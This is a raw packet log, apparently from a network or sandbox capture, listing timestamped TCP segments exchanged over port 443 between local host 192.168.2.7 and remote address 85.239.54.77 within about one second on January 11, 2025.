Jan 11, 2025 09:26:33.198021889 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.198060036 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.198079109 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.198131084 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.206252098 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.206304073 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.206342936 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.206372023 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.206387043 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.216087103 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.216116905 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.216175079 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.216196060 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.216212988 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.264257908 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.291939020 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.292027950 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.292085886 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.292114973 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.292140007 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.292174101 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.294151068 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.294202089 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.294229031 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.294239044 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.294256926 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.294276953 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.295732021 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.295800924 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.295811892 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.295831919 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.295835972 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.295877934 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.371413946 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.371463060 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.371505022 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.371520996 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.371555090 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.371563911 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.379174948 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.379219055 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.379251957 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.379261017 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.379288912 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.379323006 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.380321026 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.380369902 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.380400896 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.380408049 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.380422115 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.380450010 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.381385088 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.381437063 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.381474972 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.381483078 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.381504059 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.381520987 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.382507086 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.382550955 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.382580996 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.382587910 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.382611036 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.382642031 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.383193016 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.383238077 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.383266926 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.383274078 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.383301020 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.383354902 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.389940023 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.389990091 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.390026093 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.390036106 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.390064955 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.390094995 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.457967043 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.458018064 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.458072901 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.458086014 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.458128929 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.465769053 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.465811968 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.465858936 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.465877056 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.465903044 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.465938091 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.466146946 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.466207027 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.466252089 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.466257095 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.466279984 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.466295004 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.466840029 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.466905117 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.466937065 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.466943979 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.466974974 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.467003107 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.467289925 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.467360973 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.467365026 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.467391014 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.467425108 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.467441082 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.468389034 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.468441963 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.468516111 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.468528032 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.468569994 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.468673944 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.476195097 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.476246119 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.476277113 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.476294994 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.476332903 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.476351023 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.476811886 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.476857901 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.476872921 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.476880074 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.476911068 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.476933002 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.545100927 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.545156956 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.545180082 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.545195103 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.545214891 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.545238972 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.552385092 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.552440882 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.552454948 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.552474976 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.552493095 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.552530050 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.552896976 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.552949905 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.552989960 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.552997112 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.553009033 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.553039074 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.553373098 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.553416014 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.553431034 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.553438902 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.553479910 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.553983927 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.554033041 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.554054976 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.554060936 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.554089069 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.554107904 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.558777094 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.558830023 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.558851004 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.558857918 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.558875084 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.558902025 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.562941074 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.562978029 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.563031912 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.563038111 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.563206911 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.563206911 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.563431025 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.563453913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.563497066 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.563502073 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.563523054 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.563535929 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.639003992 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.639065027 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.639098883 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.639115095 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.639173985 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.639477015 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.639528990 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.639642000 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.639650106 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.639698982 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.639949083 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.639964104 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.640021086 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.640027046 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.640068054 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.640532970 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.640577078 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.640594959 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.640604973 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.640625954 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.640646935 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.641005039 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.641051054 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.641071081 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.641078949 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.641091108 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.641107082 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.641129017 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.641768932 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.641813040 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.641832113 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.641840935 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.641860962 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.641886950 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.649821997 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.649868011 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.649897099 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.649904966 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.649933100 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.649954081 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.650383949 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.650429010 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.650455952 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.650461912 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.650496960 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.650496960 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.725646973 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.725694895 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.725733042 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.725750923 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.725778103 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.725800991 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.726339102 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.726385117 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.726401091 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.726413012 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.726433992 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.726447105 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.726768017 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.726830006 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.726835966 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.726856947 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.726902962 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.726902962 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.727827072 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.727875948 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.727900982 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.727910042 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.727947950 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.727957010 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.728387117 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.728426933 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.728455067 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.728461027 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.728481054 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.728502989 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.728939056 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.729001045 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.729015112 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.729048967 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.729070902 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.729095936 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.736541033 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.736583948 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.736625910 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.736633062 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.736676931 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.737091064 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.737133980 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.737159967 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.737164974 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.737190962 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.737217903 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.740953922 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.812472105 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.812541962 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.812561035 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.812593937 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.812618971 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.812630892 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.812886000 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.812932014 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.812951088 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.812959909 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.812980890 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.813004017 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.813524961 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.813565969 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.813584089 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.813592911 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.813612938 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.813633919 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.814054966 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.814100027 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.814116001 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.814122915 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.814157009 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.814176083 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.814512968 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.814553976 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.814580917 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.814587116 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.814618111 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.814636946 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.815184116 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.815223932 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.815253973 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.815260887 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.815293074 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.815310001 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.823338985 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.823384047 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.823437929 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.823455095 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.823489904 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.823503971 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.823836088 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.823875904 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.823899031 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.823908091 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.823932886 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.823956013 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.829397917 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.899280071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.899346113 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.899354935 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.899382114 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.899411917 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.899422884 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.899977922 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.900017977 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.900049925 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.900057077 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.900073051 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.900083065 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.900660992 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.900703907 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.900717974 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.900724888 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.900753975 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.900772095 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.901043892 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.901084900 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.901118994 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.901124001 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.901148081 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.901170015 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.901999950 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.902050018 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.902070045 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.902081013 CET	443	49941	85.239.54.77	192.168.2.7
